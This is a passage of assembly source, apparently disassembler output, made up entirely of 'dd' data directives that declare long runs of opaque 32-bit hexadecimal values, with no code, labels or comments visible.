		dd 0A5BC0417h, 82A6D1FFh, 0DD01ADE0h, 762F4E2Fh, 0F29D043Bh
		dd 0FD31EB66h, 282EF88Bh, 588A481Ch, 6A1F4054h,	9EA3024Fh
		dd 9896BB01h, 48506F42h, 7F9560E9h, 0B866C410h,	0F4388B2Dh
		dd 0AC996987h, 0EEB93E73h, 0EEC30780h, 0FB599D37h, 0D0BF8060h
		dd 1223393Eh, 0B20C52E9h, 2080C4D3h, 0E198A613h, 47A80B7h
		dd 0EA028903h, 13BC198h, 2D533925h, 8445DCB4h, 82C1BE6Ah
		dd 3CD8F3ACh, 0CBB9193Dh, 0A400DA12h, 5A6863B5h, 13ABA150h
		dd 13B88414h, 0C5D6C82Fh, 4AD0A800h, 5B5A4F76h,	9B7B590h
		dd 23E68412h, 137CF534h, 801FFC12h, 1EAE518Fh, 306C00C5h
		dd 97BF78E0h, 4C2DBB4Bh, 7639575Bh, 0AAD7EFAh, 6A2F6584h
		dd 0A6C0F84Dh, 2228593Ch, 0D4BF69B0h, 959D84E3h, 2228AE04h
		dd 0C0408A0Dh, 0B0810CE5h, 9C54BD77h, 0F1BF4E54h, 0E7022A44h
		dd 122F55BDh, 0E452D009h, 7AB3E35Bh, 0BBD9834Ah, 4E1DA80h
		dd 80F73BDh, 0F09EF07h,	4ED0E680h, 8466B8FBh, 0FC350E05h
		dd 4579E13h, 2B768CEFh,	0C0E8C84Ch, 0B39DFF33h,	0ABF69Ah
		dd 8BFEC5A0h, 0F4230F5Dh, 0CA3C32E8h, 8CD1BDEEh, 3987E9D9h
		dd 458D2789h, 582D38D9h, 52490839h, 268010E9h, 0ABEF1BADh
		dd 886000C9h, 8D1F3D76h, 5E12176Dh, 0F7B15F2Bh,	0E10C5D56h
		dd 571A9A52h, 51B4241Bh, 5A74002Dh, 48FB14Bh, 9B65006Ah
		dd 3768A315h, 98146B67h, 0C4A033E9h, 0FBACECBEh, 0AC18B7C4h
		dd 22F90D9h, 0F43834BBh, 69C57578h, 0A821CF01h,	74419589h
		dd 612B84B3h, 59E08CAh,	0B7B8EDBDh, 8BB0FB0Eh, 7304323Fh
		dd 1020C45h, 0E654FDBDh, 4B2D844Ch, 4F30AF23h, 1219DF63h
		dd 0B6D95120h, 3216B2FDh, 63810BDDh, 0B97B15FEh, 205BBE7Dh
		dd 5E7F35E7h, 0D69E8300h, 93476ADEh, 8EB03DD8h,	29A4CE02h
		dd 6C690D8Dh, 14132E5Bh, 819C7B9Bh, 0F88A1311h,	9B3AFCh
		dd 2B4B4696h, 892096C0h, 1EF8791Dh, 922360D2h, 85659049h
		dd 568A192Dh, 30517929h, 0C0955B4Dh, 47259D29h,	4B5E4903h
		dd 0D88A6131h, 80CD352Bh, 3B68C662h, 2EAA1C5Fh,	1C1C8EF4h
		dd 0BAD72521h, 2D18D7F2h, 4005EC6h, 0B7B2420Bh,	1249E29Eh
		dd 64EC5838h, 0F0FCBA34h, 0EAF3C54Ah, 0F05B1CDAh, 5CBD1FFDh
		dd 30BFD628h, 434D695h,	0D36C2E7Ch, 0FC0BAB47h,	0E02F5C33h
		dd 14E8D88Bh, 877D3BC0h, 0F03105h, 54FC81C8h, 4108FA86h
		dd 0ED431B03h, 0FC5AF32Eh, 0AB40D5C7h, 275F043Fh, 6544E1FFh
		dd 0DF2A9701h, 40ADDD06h, 0B667282Bh, 91F50989h, 0E369B82Ah
		dd 0B72712BEh, 884DB2CFh, 80E0A979h, 5D34FDD0h,	419780F2h
		dd 521403B5h, 0F136A1BDh, 0DACA6E89h, 15FC5000h, 288D709Eh
		dd 17AE965Ch, 9BFBE180h, 537B8263h, 3F115797h, 171AD826h
		dd 32B33507h, 0F4E038B0h, 3B7E53h, 0B7524C93h, 2960AEBEh
		dd 1E49BD12h, 0BC816ABDh, 0CF201A48h, 3A9EFFE8h, 64E42A25h
		dd 0AF165986h, 8A6E4Fh,	0C8E699DBh, 123FFAA7h, 17B3294h
		dd 934BB9ADh, 0AEB63A30h, 553016B2h, 23ED0FE5h,	0ABB3519Dh
		dd 1B89579Bh, 7E55B1B0h, 90CC53Ah, 0F5F64CD7h, 0BFA05A4Bh
		dd 3AF369F5h, 0BF4B596Eh, 0BBF4A28h, 8D637FFh, 0EF8D2125h
		dd 0DEF967B5h, 6F438B6Ah, 65B5BC90h, 0C4FC5530h, 54401FCAh
		dd 204AF87Ah, 1C5E4EADh, 78311D00h, 0FDC8ECCBh,	50C10B7Ch
		dd 0E056B2FAh, 0F958DF62h, 96099DC6h, 1D29AE4Dh, 0D904913Ch
		dd 9094E905h, 8EC38013h, 5D0F9295h, 0DA89E637h,	0B5DD8243h
		dd 0FE6D5517h, 66016E4h, 38B84B0Eh, 6C546E25h, 8E574C0Dh
		dd 2D014110h, 0C8B4595Bh, 0CF257E63h, 0E1F65613h, 2EF245D7h
		dd 0D8E88AB9h, 6D9F4600h, 7EF19121h, 0F90C3049h, 833CE35Ch
		dd 1AE341B5h, 9998BB14h, 813D00D8h, 0FF06E11Fh,	3120B8F6h
		dd 4B8D800Dh, 0C4F4B52Bh, 25C752B0h, 269995D0h,	0DB302BF5h
		dd 27A32668h, 9056706Dh, 72A0D941h, 0BD6A8DE5h,	0A32EF926h
		dd 0CD4712DEh, 4A93F12h, 4E88C654h, 0F62213EAh,	0BACE071h
		dd 31D6588Ah, 0BA222FC0h, 0C624CF94h, 0D549849Bh, 7EEE48CDh
		dd 1DBBF1C4h, 269408AEh, 12C78E49h, 0BFC050B3h,	5865AAC6h
		dd 4B531495h, 0FB4F2028h, 7AE13BE9h, 0E802507Ah, 0F8EC4E88h
		dd 7D0A53F5h, 5D191200h, 70C51F05h, 0F09F4B13h,	0E4AE537h
		dd 142535CEh, 4023CF55h, 0F2835240h, 462EB617h,	975D804h
		dd 0DF7538ABh, 85295DC4h, 0FFA743C5h, 0C0EEA85Fh, 0DA77B6ADh
		dd 0F450019Bh, 0A818F5C8h
		dd 81AC2A4Dh, 0FEE2BFC2h, 5E2D3954h, 0F90EF69Eh, 40B562FBh
		dd 0F8A6BB1Fh, 575B954Ah, 0F11FD27h, 858F7096h,	251E659Fh
		dd 0BA5798D5h, 0EF541EDEh, 8B66EC1Bh, 33CD96D9h, 8F293FC0h
		dd 0FD42096Ch, 5A7CC53Eh, 4A16D3C0h, 0A83455A9h, 2E87861Fh
		dd 4B955191h, 52B1413Ah, 1B302B86h, 13D5EF81h, 46ED4AEh
		dd 0A917F155h, 75F9C9FCh, 0EFE0FB6Fh, 179CF6EBh, 0C1F50C64h
		dd 1025DDE4h, 8A196DBDh, 0C5161177h, 0A226EC3Ah, 42B55544h
		dd 4F891491h, 26978F4h,	0D52B5172h, 199106B7h, 57FA8F80h
		dd 5802763Dh, 70D08ABBh, 0F5685531h, 334779B5h,	0AC30A94Eh
		dd 0EDC19D36h, 41DD2A1Dh, 0A8C0846Bh, 4BD1D43Eh, 0F19F85ABh
		dd 7EA72EF3h, 0B5F43BB0h, 1ADC402h, 0FD70DF80h,	5D786A53h
		dd 7F28126Ch, 2481ACEBh, 9C079D9h, 951F5DBDh, 8A9603B8h
		dd 76965897h, 9D2312FBh, 8A7AABCDh, 32001623h, 0DABB0595h
		dd 95337FEEh, 1B64236Dh, 0E7D89963h, 0AF39EF5Fh, 0CB8A4AA6h
		dd 0F0C84D2Bh, 8D097B58h, 591AFB11h, 24DF2761h,	0F4AE8B18h
		dd 0B72750D0h, 11C169B3h, 7A366710h, 80146939h,	62EA22BFh
		dd 0A4C9D8Eh, 8B30FDB4h, 5252C6ACh, 0F5D46A97h,	1097554Ch
		dd 12802FB1h, 0FCE58EAh, 0AE1251EFh, 0DF60B829h, 0ADA85E32h
		dd 753DAD45h, 9ED0FC80h, 5E250385h, 0FF209260h,	808081F9h
		dd 72A9C942h, 51C62745h, 4459E056h, 76CCEE14h, 17BD9E60h
		dd 1D790809h, 0BC30FF2Dh, 162C99Dh, 5DC6F90Dh, 3846636Fh
		dd 0BD657B4Eh, 0B56B565Bh, 0E1A20DECh, 51E360C9h, 1CE92A40h
		dd 7DFFF482h, 9ED69DA5h, 0C201C143h, 0ECEC93F5h, 0A087B847h
		dd 0C55B7CEFh, 8EB4470Eh, 699040FFh, 25F7102h, 78DCEE81h
		dd 81F709C7h, 4A29E165h, 70CCC3F0h, 6C51BF5Ah, 7F1B1D80h
		dd 6E6924h, 4736AA0Fh, 59A5112Fh, 202D6702h, 80BF8AE5h
		dd 0FF56B57Eh, 301F5C34h, 0C98FAAD3h, 3835582Ah, 0B8DE84EFh
		dd 9FA4005Ah, 0E9F098FBh, 0FC8D017Ch, 30881A20h, 5967E881h
		dd 108D20Bh, 0E0CECB85h, 27252BC0h, 0DE734D40h,	26F9B505h
		dd 0A9731201h, 3C881563h, 890007B9h, 0F9B63B04h, 0B8B0FCh
		dd 160B679Fh, 2CD98D8Bh, 9BC73DC5h, 27110C44h, 0A61CFF42h
		dd 0BDC6D18Bh, 0A524095Bh, 2C89E4EBh, 5B05FE72h, 3B01E315h
		dd 0D596781h, 4660279Bh, 37B0F790h, 0E3FCBF7Dh,	43112504h
		dd 7EFCE788h, 52B76E00h, 0ABA83948h, 8EA08400h,	37CA4F2Dh
		dd 0DB03022h, 0B797EC18h, 6EE7BB01h, 3AC82BF1h,	8ED66D00h
		dd 0EE4E9506h, 0C020C617h, 89680510h, 76E145Bh,	60073E28h
		dd 20CC028Dh, 0CDD600E5h, 52FC8CF4h, 2C6684A9h,	211808h
		dd 0C1CDDECFh, 0EC1174AAh, 0EF0F6679h, 6019B033h, 896F757Fh
		dd 0A37C7F3Bh, 44101030h, 808A3D01h, 23329A95h,	39E11Bh
		dd 1C77B503h, 29D7158Fh, 76802700h, 0E43ADE32h,	0AC161FFFh
		dd 257E0068h, 0E8A0D255h, 27099500h, 0D8A70F4Eh, 222E07A1h
		dd 7050BD8Fh, 0A491034Dh, 0D2128500h, 0C8813337h, 668D0030h
		dd 6821FF7Dh, 0D8006540h, 2ACB6122h, 897187h, 0CE46D109h
		dd 583DDB98h, 0D8D41400h, 5D25167Bh, 75BEF8C2h,	0F0B3F830h
		dd 297F3E0Bh, 76C52060h, 52062FB8h, 0AA122791h,	5EDD3009h
		dd 0B88EE520h, 0BF000DF6h, 0FCA5033Fh, 0AF5299h, 2F6C299Ah
		dd 2517F735h, 0A7C0731Eh, 4E2D241h, 404054C7h, 38F33A8h
		dd 7F4A8BD8h, 38034DA6h, 0D277B67h, 3D290050h, 0C7835612h
		dd 290E330Fh, 8C3207DEh, 39E2144h, 0FE1F560Ah, 46EBF79Fh
		dd 0DF4E190Fh, 87AE4FFCh, 7CC080F4h, 0D84362E3h, 25F179F0h
		dd 54D6EC00h, 91454CCCh, 77F80165h, 67641C0Fh, 8C69DCB6h
		dd 0F9DE7401h, 0E26BC997h, 0EE48D4h, 79AB4E4Ah,	0DF433BC7h
		dd 0C0C24700h, 921BD6C6h, 7B603F0Eh, 0F99B660Fh, 763E3Ch
		dd 32065C28h, 2E6C1B7h,	0BABC39h, 0A1FAC346h, 12C5748h
		dd 1FA3E90Fh, 0D4B488E8h, 1B00C76Ch, 0C948C25Ah, 4C3DE7h
		dd 77FE9B84h, 2FC80A87h, 5F07CF0h, 72CD5000h, 0D7321D24h
		dd 0B7AE03AFh, 712F58A6h, 795960C7h, 823A7C04h,	5BA10003h
		dd 3CE22123h, 0CD910695h, 8499DA7h, 46211660h, 0FDE239h
		dd 4C648AC7h, 3F350A6Dh, 60258h, 0D8AE89A0h, 32A0571h
		dd 3B68EB20h, 9EF1E680h, 4918B0D0h, 347F03h, 0AFE2653Fh
		dd 0D381B65Eh, 0A19E20C0h, 0C008FA29h, 9D77E429h, 47E67DACh
		dd 6D75070Eh, 21E08D46h, 79D01647h, 78068AEh, 969510F9h
		dd 933CD10Ah, 5608714h,	5D163902h, 857B50E9h, 7E230374h
		dd 46D8ADE8h, 217F0830h, 1B75164h, 0D243D9B6h, 0E07052A9h
		dd 9C30AECBh, 58F379EEh, 0CF8DEADh, 0D8D91C80h,	679AE400h
		dd 0F5EFE005h, 92520079h, 702D1CA7h, 4057835h, 0EBDDF416h
		dd 0C598C000h, 1390563Ah, 7587C51h, 0C050A5E3h,	0E5DDBA25h
		dd 0BD4CDA00h, 2ED92AA1h, 0AF931F8Bh, 0C58F4089h, 3B5FC0F4h
		dd 0EF48540Eh, 5E5D804Bh, 185C2AF6h, 5492D610h,	0B400C0E1h
		dd 0D24CB60Ah, 3E0286BAh, 0D61C5982h, 0B20339D3h, 0D5BB956h
		dd 87E2E0C0h, 9E18DDF0h, 55289DC2h, 0E9F2FAAEh,	0D16E6080h
		dd 5FF4EEB6h, 0D66CED07h, 0E1224CFDh, 3A3BE0C5h, 507E008Dh
		dd 5E5CCF42h, 530A2A4Bh, 142DD66Bh, 0B3D32B00h,	6504DE5h
		dd 0B4E3A4DBh, 0D50678E9h, 0F8D1548Bh, 311C86D1h, 9E19FC34h
		dd 49C081DBh, 8E56B33Bh, 81B49890h, 451D66BAh, 10D08040h
		dd 5C21D0EAh, 0C188F2A8h, 0DACA0025h, 6C80A2CCh, 0ED0D54D9h
		dd 2052AA8Bh, 929DDCh, 0E95CE4CBh, 0B959AED6h, 17E34800h
		dd 378DDE55h, 0EDB1C104h, 0EC610A25h, 0AEECE44Dh, 6C5D93Dh
		dd 0AA18A4ACh, 5D343351h, 96B0A131h, 57F8B82Dh,	48A3D603h
		dd 0F88559A7h, 0F291A54Ch, 781C6488h, 1F0B4017h, 0AC4BD98h
		dd 519597A7h, 0CF9E08A0h, 552BD682h, 6698803Ah,	776E306h
		dd 1F140CC6h, 51E5D0B7h, 0D301230Eh, 54A25211h,	7982BDD0h
		dd 4F08866Bh, 40842484h, 37D358F5h, 4C6C0253h, 0E3986B28h
		dd 55CDEC80h, 5449B6A3h, 0FBEB004Ch, 0C062946Dh, 0CA521970h
		dd 24FD0891h, 0C31D152Ch, 0B700C96Dh, 0E660BBAh, 0C66C14D7h
		dd 1801CCB0h, 0D6112664h, 0ED602496h, 630B449h,	53438E5Ch
		dd 0A4ECF148h, 0AB3031Dh, 0D557F390h, 0ECBB092Ah, 1EEC9400h
		dd 8F4A8D78h, 1ACF00F4h, 0DB1962BEh, 5F06E908h,	0E2C2D316h
		dd 0C8ACA478h, 0C4C0A6D0h, 4662996Dh, 1E622D8h,	586DCCA0h
		dd 30341B8Bh, 0B9EE90B2h, 837E8618h, 525C2BC0h,	0A7025C8Fh
		dd 0E80AB21Dh, 9510BA31h, 43031EEFh, 0C307AAD9h, 34D0F886h
		dd 0C47001C8h, 830308ABh, 0B9A420FCh, 1E58090h,	3024A8AAh
		dd 0B7CF1C6Bh, 0B9FD8330h, 0AFB8871Dh, 5F058A82h, 0F01F0148h
		dd 1E2A8000h, 0D6A04Ch,	697C6F35h, 0FC1C0C76h, 0BEB1F300h
		dd 0C77F3DD5h, 66EE0036h, 0AB0A8086h, 9000A73Fh, 0B521E5F6h
		dd 6BAF6Ch, 3CD297EAh, 0C720D049h, 990E0FE4h, 801B58AEh
		dd 0A114B1E2h, 28133ED2h, 0CD2C4100h, 9445B760h, 0A03FA72h
		dd 7A032587h, 0E231A022h, 0B63C03EEh, 505147A4h, 0C418C599h
		dd 85FABFFDh, 1D426701h, 28600210h, 0FAAF70h, 6C2674E9h
		dd 24F3ED8Ah, 0FAAA53Dh, 80ECC695h, 0F11C4160h,	0C8D0035h
		dd 3CD3C8EBh, 0F001DD84h, 0B73CDB9h, 8D4543Dh, 0ED0600C2h
		dd 0A75F643Eh, 400A224h, 8C05A976h, 0A1BBA6h, 143696Bh
		dd 3147C05Ch, 2770B3E8h
		dd 21D048C3h, 0EE500CDEh, 0CE086826h, 7EED6F00h, 36690EC1h
		dd 0D7A60ED4h, 40E76CECh, 6564F054h, 8EFA5C04h,	55774900h
		dd 704CABD0h, 5821301Bh, 45C488F0h, 0E09C8A00h,	0BC197BDh
		dd 904E00D1h, 0BBCAF266h, 4708C9Dh, 63927E4h, 63318069h
		dd 5443C246h, 7CBC013Ah, 4DAAA001h, 22C4CC52h, 735A10C0h
		dd 7625692Fh, 0C8270D3Eh, 0F0B8DCCBh, 0ED0041B8h, 7015754Ch
		dd 7E053Bh, 7D8B5039h, 0AE8A7A2Dh, 0BEE21C3Ch, 1B6FF66Ah
		dd 0DD8785D9h, 0FEDB8443h, 5251060Eh, 7868EC22h, 8943418h
		dd 59DA18h, 0F21E9680h,	0F651D427h, 0E982D61Eh,	0D7C71801h
		dd 0F17EE823h, 9049A006h, 75CA361Fh, 4E704B00h,	1D9313B6h
		dd 408FC9E4h, 8379E5FFh, 0F05C1A7Bh, 58750008h,	670B3335h
		dd 2836062Ch, 80F94ECh,	9F21B16Ah, 2CCB0B00h, 0F5E6227h
		dd 19F0403Fh, 0E309A5C0h, 7F005879h, 0D1D5A857h, 118173Bh
		dd 0A49C1CCBh, 0D41553D6h, 0C818DD72h, 7B20D3A1h, 0E53807F9h
		dd 0D019F36Ah, 1558494Fh, 8FEC000h, 6B7F59D8h, 50D200A8h
		dd 99461738h, 0FD0D7D66h, 70423336h, 297E91C8h,	0E2206D05h
		dd 6430ADA5h, 0D621874h, 5B15D84Fh, 7F011DFCh, 0A14C29C3h
		dd 8BCB9F8h, 0CE0121E0h, 0E21E401Eh, 7B0059C7h,	0C2DDA8F8h
		dd 9F28033Eh, 0F701EEF5h, 0A54F25E8h, 3845E933h, 0D876837Bh
		dd 805E9C3Eh, 7E003875h, 895714BDh, 66DF48AFh, 212508E1h
		dd 0BAE69100h, 0C4C33B6Ch, 0FB160F39h, 4020D0EBh, 2C53D77Fh
		dd 52B35F14h, 23E490C0h, 0B843818h, 67662C65h, 4A007A64h
		dd 4B5A0B6Dh, 0B100F8E6h, 0BB8BF92Ch, 0C56A16h,	0C882B5FEh
		dd 0F060734Dh, 0CFA5E10Ch, 261D14Ah, 0C976A1B0h, 55000A01h
		dd 2A36CF1Dh, 78C83E17h, 31BD61AEh, 0E604D4F2h,	260C0040h
		dd 65184865h, 0A710C02Fh, 4B4DC574h, 45D1AC80h,	395B1F3Ah
		dd 0F4DF8213h, 4160200Ch, 58723635h, 74B7A3Ch, 34030F42h
		dd 75A8CF91h, 6C9881D6h, 908F0A20h, 1C02E81Eh, 0AC8F7C08h
		dd 6903BA8Bh, 984378ABh, 7BA7A1ACh, 0D73B670Ch,	60BB0CF9h
		dd 1D945859h, 273CFD3h,	5DD4C412h, 0A2CC4A5h, 0E4219Ch
		dd 4F9DDF1Fh, 0A0A15E4Bh, 1300D2D1h, 0ABE3E558h, 61D5C09Ch
		dd 0CD3007CAh, 6C4E412Dh, 4C92C209h, 28B53Dh, 0BEE24D4h
		dd 7261FFh, 55E5B094h, 0B4BDFB76h, 0FE697509h, 5D38234Ah
		dd 3ABA90A8h, 0FDFB0317h, 0F9AB0D5Fh, 20421C6h,	0C1C561B9h
		dd 0E950D880h, 0CCAB5420h, 0E75628C0h, 0F77F18BAh, 0FF22D9CAh
		dd 7E270A20h, 78140037h, 0E6DEE9BFh, 0AA0AD346h, 0B0522A97h
		dd 60F1CC08h, 2C790B19h, 0EDD9C610h, 5659338Ch,	6A0B3100h
		dd 5B3834A8h, 0E8C55044h, 0D77622D4h, 60D49883h, 2319CA7Ch
		dd 0D61185CDh, 8F63BE1Eh, 0FE00178Fh, 0B8C2C76Dh, 56EB8002h
		dd 80790758h, 0E905CC8Ch, 84384921h, 0DF238D00h, 5EB1605Dh
		dd 0FE760B0Ah, 0F8A99828h, 271821D1h, 7117A200h, 0F1942CAh
		dd 0DE8B01A4h, 87F8CE8Fh, 8953F176h, 0D308D31h,	0FDF99814h
		dd 0EC0777F0h, 451C90C6h, 9CBC4145h, 0B37702C9h, 0E945E4FCh
		dd 0E3E4212Ch, 0CB985070h, 50003743h, 477688F5h, 2C91D73Bh
		dd 12A9F430h, 816004E3h, 0CF90887Bh, 1804E0ACh,	9E2C7A0Bh
		dd 57902165h, 0A0393030h, 0DFC7AC0Ch, 48101914h, 3588306Eh
		dd 14480D11h, 14006123h, 0F1C37E1Dh, 7C60864Dh,	1ECF0E21h
		dd 0C22489Dh, 157F9C10h, 50DC910Ch, 45E44E64h, 2404F20Ah
		dd 0DF0090ADh, 9F5F4A78h, 6B6E16C0h, 721C0114h,	30E460DEh
		dd 1019DD18h, 6390173Fh, 1D081618h, 0C4E1C368h,	0C90C4073h
		dd 1ECD81Eh, 505E514Eh,	33645A92h, 757CA180h, 0B302AF0Ch
		dd 0DD0A4F2h, 555866D6h, 0F400A43Ah, 1DFDB9Ch, 0A5F0BDF8h
		dd 3259C8CCh, 11A2324h,	0CD67CA66h, 88C11875h, 0DCF56E88h
		dd 6000528Ch, 471368Fh,	92E8ED1Ch, 0A4850020h, 0E7499B70h
		dd 0AD677C90h, 0B1E23C80h, 0A0184035h, 7A5480CAh, 0A832C787h
		dd 0D307A06Fh, 223C6F7h, 9DD85120h, 0C840184Eh,	609345C3h
		dd 0FC67687h, 0F8731000h, 0EEB1EF0h, 956CC084h,	81C5607Eh
		dd 984F2E31h, 62097BE6h, 7AB4E784h, 30957C30h, 6CB03800h
		dd 0A0A4F332h, 0F838907Ah, 707F0593h, 5DDECCAEh, 1AFEEEA8h
		dd 94002071h, 0A11ED6FDh, 0DAD4C718h, 6F76E579h, 670731F2h
		dd 20B90Ch, 3D1B31A0h, 3501B498h, 0E2F36ED5h, 9425AF03h
		dd 2340E081h, 3044AA27h, 5F636DBCh, 0AFF749h, 96BB7A61h
		dd 0B177976Bh, 0BF8F233Ch, 50DCB0A2h, 0E86024FBh, 82E448E7h
		dd 61D90100h, 1DC68922h, 0AE68170Bh, 0AD0490FDh, 7DC80F6Bh
		dd 0F4C03DB9h, 5D5C9B46h, 2A007F70h, 0AC11E3Fh,	0C0225ACCh
		dd 0D4AAD090h, 8F004BE5h, 0DD0DEB16h, 3B24CD6h,	6EE807C3h
		dd 400646D2h, 0BD34586Bh, 87A20158h, 78410CDEh,	6FDC74CCh
		dd 1D02048Ch, 6201C37Ch, 20382773h, 97D9741Dh, 0C44AC001h
		dd 45490162h, 75213430h, 31CF8723h, 0D485F581h,	225FE418h
		dd 9DE82469h, 588D0840h, 0C672DB60h, 0AC7A1Bh, 0D02B3055h
		dd 6C32173Bh, 0C82C5D58h, 0BD68C03Ch, 0B9435716h, 0BAF09380h
		dd 0B02E8B70h, 0CB0030CCh, 0F65945DCh, 0E4A4A562h, 82806472h
		dd 1966CEDh, 2C3CBDFCh,	814CE35Fh, 58E8CCF8h, 4C604D1Bh
		dd 55B40035h, 605F7FFh,	44175D61h, 780410EAh, 14A028C7h
		dd 0C8401C90h, 0C0A5D21Ch, 29C29F10h, 5701A73h,	0FA10A6Bh
		dd 2EC8894h, 54B4BB46h,	0BF1E20E0h, 8A0C60E0h, 2036DE84h
		dd 0A6DC0A75h, 78201B6Bh, 2543234Bh, 0CAE94458h, 83D09831h
		dd 0E3A50119h, 2D7CC2D6h, 0A93F845h, 78B020B0h,	0BCE0E85Dh
		dd 0D9531D26h, 56E2C108h, 44722F30h, 48C14ACh, 73016D23h
		dd 0F15703BDh, 9E883C18h, 16BA2C1Bh, 0CE821ACh,	2871D8E0h
		dd 5267E300h, 2A8DB941h, 8E903F0h, 2D2FFC1Ch, 0E5E889E3h
		dd 10F19C18h, 0EE2416h,	0C9C3E656h, 9F36D82Ah, 4E00217Dh
		dd 0B11DAE1Fh, 50DF46C0h, 0C6784ACh, 8871B894h,	64B99D40h
		dd 64FCB200h, 123490C6h, 40976E45h, 0EC7A790Ch,	29C1E992h
		dd 0E256EAE4h, 1C917D8h, 4929C88Eh, 0EC28DB47h,	0ABF05575h
		dd 4350ED50h, 0E16F3900h, 0FA32C091h, 65CE3F21h, 0BB1CA7D8h
		dd 0F88F81F0h, 0D097B078h, 73001913h, 94269CA0h, 77CE884Ah
		dd 0DB3400AFh, 0DF8E125Eh, 963C1C3Ah, 0B4CD19h,	6963C2F1h
		dd 91BA8A1h, 0D2CB305Fh, 0F333D800h, 2CBAD804h,	79E58A00h
		dd 0CE9B956Fh, 1594007Ah, 7B1E6921h, 0BE60D4C5h, 86A559B0h
		dd 0E8F55AACh, 4D7D1D17h, 0A256C103h, 0AAE4E8A8h, 692D0107h
		dd 6AD277C3h, 0B8218747h, 0CF008770h, 0B691E0h,	331F5AFBh
		dd 6EC5A352h, 52295438h, 87710328h, 404FAAEFh, 885F2848h
		dd 87005983h, 3580419Bh, 16B46C6h, 3A4E3D73h, 8F4394CDh
		dd 6379F028h, 42D19Eh, 0F790B610h, 657E5E18h, 8ED64D0Eh
		dd 21688C62h, 0F78800ACh, 0E20771D1h, 8B004C4Eh, 0D4D6102Eh
		dd 51FFBCh, 0A4DB4027h,	0E94A2978h, 90C636EAh, 740867CBh
		dd 0F7210042h, 1ED81C1Dh, 6416BFA6h, 4E002CC9h,	86AD7D08h
		dd 61207173h, 9929302Fh, 408180A6h, 45D2499Dh, 0EC2400B3h
		dd 0BAE88BD3h, 5F02DEA6h, 0BEC758AEh, 567F00D0h, 88A8AB6Ch
		dd 4E008E42h, 46BF5BE5h, 0EE685DBh, 364723F9h, 0B44D6CE0h
		dd 5000B845h, 76564A03h, 2BFF7B65h, 1905879h, 5FC9F7BBh
		dd 88B91876h, 0F7019397h
		dd 0B2B4EEFDh, 50806839h, 0AC161546h, 6130E6C1h, 0CE899137h
		dd 81BA0391h, 0A84EC9B2h, 213E0930h, 901669h, 0D86CEF5h
		dd 9CC257AAh, 6C01E205h, 0E8035EC6h, 0C029E3C1h, 0F0681526h
		dd 202A0858h, 1E00554Dh, 66CAF170h, 43B4000Bh, 0FE316C7Ah
		dd 79407D16h, 18370356h, 6BA8F92Eh, 6FB39CE1h, 7C8469C1h
		dd 90DBEC40h, 0CE6C0A7Bh, 86A4C68Fh, 8036C25Dh,	0E80EDEC2h
		dd 0EB80A0D4h, 220BAEh,	1DA6A52Ah, 4F48BB5Fh, 2985A3Fh
		dd 84417FE9h, 0C82900CBh, 3E50633Bh, 7628B5C0h,	0A721B871h
		dd 0F7848099h, 629E5FCCh, 0A8BA4486h, 0E9F79C03h, 90C625DBh
		dd 65371991h, 60594839h, 0CEF7BADCh, 248E5F29h,	9600AF11h
		dd 2F66F792h, 0B10063F9h, 90EB08D1h, 5F6CCF4h, 13300B4Dh
		dd 0E688004Eh, 38B510BFh, 41B0FC30h, 14BA9A50h,	8C768EC5h
		dd 5EBF127Ch, 114406C6h, 0E833F1C7h, 801A31D3h,	0D6FBF0h
		dd 0A0CA60C4h, 195DFFA7h, 48497107h, 0E8E20494h, 442F20D2h
		dd 1D00BAE2h, 862028C4h, 0DEC836h, 0EFC02753h, 0C5BC78B1h
		dd 85AF4Ch, 0B67E8D70h,	143D5654h, 0D5550984h, 0C02DDE1Ch
		dd 7907C42Eh, 39F63ED9h, 5B883600h, 9E3DBAFFh, 5240C0A5h
		dd 0B0B895B7h, 0A6E7800h, 7602CB50h, 2BB51F49h,	54C30037h
		dd 7A86C461h, 88551C0Ah, 0A100742Eh, 0C8AD0CE3h, 2A5075Ah
		dd 46AEAAF0h, 0B30021C2h, 74480CFBh, 128CD5BAh,	40377E87h
		dd 0B336AE48h, 1C0FA5D4h, 40A8EDD7h, 2EB830F8h,	56C927Ch
		dd 0A1850850h, 23F8018Bh, 0C2CAD5FEh, 21439C48h, 98478101h
		dd 66CBD99Dh, 0AA8B1980h, 14351F3Fh, 85240700h,	4A2C8261h
		dd 5E0004Dh, 0BBA818C4h, 27983581h, 3D6E480h, 781EA037h
		dd 6C91A03Fh, 0ADCB789h, 0BB4912B5h, 197A00ACh,	0ED0A4641h
		dd 0E530AA7Ch, 16F01865h, 401E244Bh, 681832C0h,	0E27D7E20h
		dd 0B51A0E0Ch, 6BE041DBh, 0CB6C325Eh, 8CB11B60h, 0A2B745h
		dd 404D3DB6h, 775F3135h, 2EF3670Ah, 9B04DADFh, 0A08029BFh
		dd 0E8B837C1h, 413062AAh, 0B8A3D420h, 3CC007ECh, 0DC00C472h
		dd 0A9CB1D70h, 117EAF9h, 99CA21A2h, 30C7D8CDh, 8B0ED9E4h
		dd 0B0DACF5Fh, 2D7BA802h, 46388DFh, 610033E3h, 2174F0A3h
		dd 92CA998Dh, 0E1133B54h, 9DF2760Fh, 0D89675C0h, 0FC00BB2Fh
		dd 29F0A5E8h, 0E972BDh,	7B8B70F1h, 5C0DAE54h, 88B60200h
		dd 4D0EF5BAh, 0FA0100ABh, 0B8E198C1h, 0B2011FC6h, 0F7678F10h
		dd 18BFF0EDh, 0A96D3700h, 89220D4h, 9A5090B0h, 65223D0Ch
		dd 99552123h, 214FC504h, 28242A5Dh, 450C2BB9h, 0E55B202Dh
		dd 0FA185C61h, 0D27AFFh, 998733CEh, 0A964D8E9h,	0EC06B6FCh
		dd 0E013857Ch, 22190020h, 0F75E7B91h, 99C16654h, 0CA185141h
		dd 5F39ACh, 967D6861h, 0DA3C63AFh, 1B83C28h, 0E9A2E7F4h
		dd 71A8EB7Ah, 6F4CF039h, 0C80F6160h, 21E84F06h,	0D606BCE6h
		dd 0D6EEB64h, 12F82960h, 0FA750994h, 0D1C8F60Dh, 20BED7h
		dd 0BB069D6Fh, 6D3CBEFDh, 0F50D19Ch, 1410EC04h,	68274D07h
		dd 0A4330915h, 3A0FC748h, 0B323D934h, 49D3C2D5h, 0EFC73CF8h
		dd 64BC0900h, 7AF999ACh, 0AF29C82Dh, 243B8D42h,	2E612180h
		dd 0CE106B12h, 6704881Bh, 8B220F88h, 9F27D4EAh,	84A89078h
		dd 634837D8h, 9CF8B780h, 2C72B1C6h, 339DC4CCh, 7BE0E109h
		dd 9F30E0B7h, 0FE04E4C6h, 66C0024h, 5B072E21h, 5CEE2D41h
